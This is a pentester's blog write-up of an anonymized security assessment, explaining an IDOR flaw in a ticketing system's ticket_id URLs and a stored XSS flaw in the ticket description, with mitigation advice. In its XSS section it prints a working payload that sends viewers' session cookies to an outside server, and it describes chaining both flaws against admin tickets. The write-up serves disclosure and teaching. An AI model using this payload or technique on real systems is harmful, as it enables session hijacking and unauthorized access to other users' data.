Uncovering IDOR and Stored XSS Vulnerabilities( Deep Dive into Ticketing System Exploits )

Hi, I’m Ali Soltani, a passionate pentester with a focus on web application security and CVE research. I’ve always been fascinated by uncovering vulnerabilities and working on improving security to ensure safer digital environments. In this article, I’ll walk you through two critical vulnerabilities I discovered during a recent security assessment of a web application: Insecure Direct Object Reference (IDOR) and Stored Cross-Site Scripting (XSS). These vulnerabilities were tied to the application’s ticketing system, allowing authenticated users to submit, view, and edit their own tickets. Let’s dive into how I uncovered and exploited these issues.

Note: As the company I conducted the assessment for is a private organization, I am unable to disclose specific details or the identity of the target. My findings and exploitation techniques are shared here in a general, anonymized form.

1. Insecure Direct Object Reference (IDOR)

The first vulnerability I encountered was an Insecure Direct Object Reference (IDOR). The ticketing system was designed such that users could access their own tickets by navigating to a URL in the format:

/request_ticket/{ticket_id}

However, there was no validation to ensure that users could only view or modify their own tickets. This oversight meant that simply modifying the ticket_id parameter in the URL, I was able to access and even edit tickets belonging to other users.

Exploitation Steps:

• I logged into the application and identified a ticket URL with a unique ticket_id.
• By modifying the ticket_id value, I was able to view tickets that did not belong to me, thus exploiting the lack of access control.

At this point, the application had a severe access control flaw, allowing unauthorized users to access sensitive information. But my investigation didn’t stop there. I continued to probe the system for additional vulnerabilities.

2. Stored Cross-Site Scripting (XSS)

Next, I discovered a Stored XSS vulnerability. The application failed to sanitize user input in the ticket description field. This flaw allowed me to inject malicious JavaScript code into the ticket description, which would be executed whenever another user (or even myself) viewed the ticket.

To test this, I injected the following payload into a ticket description:

<script>document.location="https://burp?c="+document.cookie</script>

When another user or I accessed the ticket, the JavaScript payload was executed, sending the victim’s session cookies to an external server that I controlled. This could potentially lead to session hijacking and further attacks.

Exploitation Steps:

• I injected the malicious payload into a ticket’s description field.
• When the ticket was opened by another user, the payload executed, sending the victim’s cookies to my external server.

This Stored XSS vulnerability was a serious issue, as it could compromise user accounts simply by interacting with a vulnerable ticket. However, I wanted to see if I could elevate the attack to affect administrative users as well.

3. Escalating to Admin Tickets via IDOR

Initially, I discovered that users could view their own tickets by navigating to the following URL structure:

/request_ticket/{ticket_id}

This allowed users to access their individual tickets. But then I decided to explore further. I noticed something interesting — there was a possibility that admin tickets could also be accessed if I modified the URL path.

I started by testing the following structure:

Admin/request_ticket/{ticket_id}

This would ideally be used by an admin to view tickets, but I wanted to confirm whether I could view admin tickets by modifying the URL. When I tested this with both lowercase and uppercase ‘A’ in the Admin part, nothing changed. It didn’t work.

However, I didn’t give up. Instead of changing just the letter case, I experimented with modifying the ticket_id value itself. I decreased the number in the URL—switching from larger values like 700 to smaller values like 20. To my surprise, this allowed me to access different tickets, including ones that likely belonged to admin users.

This is where I was able to exploit the Insecure Direct Object Reference (IDOR) vulnerability. By manipulating the ticket_id, I could view and potentially manipulate tickets that weren't mine, even those belonging to administrative users.

The Impact of These Vulnerabilities

This security assessment revealed two significant vulnerabilities:

1. Insecure Direct Object References (IDOR): This flaw allowed me to access other users’ tickets by simply modifying the ticket_id parameter. Such issues should never occur in a properly secured application.
2. Stored Cross-Site Scripting (XSS): The lack of input sanitization in the ticket description field allowed me to inject a JavaScript payload that could steal session cookies from users who accessed the affected ticket. This could lead to session hijacking and further exploits.

By combining these vulnerabilities, I was able to escalate the attack, potentially targeting administrative users by injecting malicious payloads into their tickets. If an admin ever accessed one of these compromised tickets, their session cookies could be stolen, leading to a much larger compromise.

Mitigation Recommendations

To prevent similar vulnerabilities in the future, I recommend the following security measures:

• Proper Access Control: Ensure that users can only access their own data. Implement strict access control checks on all sensitive resources, such as ticket IDs.
• Input Validation and Sanitization: Always sanitize user inputs to prevent the execution of malicious scripts. This includes properly escaping HTML characters in text fields and descriptions that may be rendered in the browser.
• Regular Security Audits: Conduct regular security assessments, including testing for IDOR and XSS vulnerabilities. These are common yet critical flaws that can have a significant impact on the security of web applications.

By addressing these vulnerabilities, developers can help ensure a much more secure user experience and prevent attackers from exploiting these weaknesses.

You can follow me on:

• LinkedIn: Ali Soltani
• Twitter: soltanali0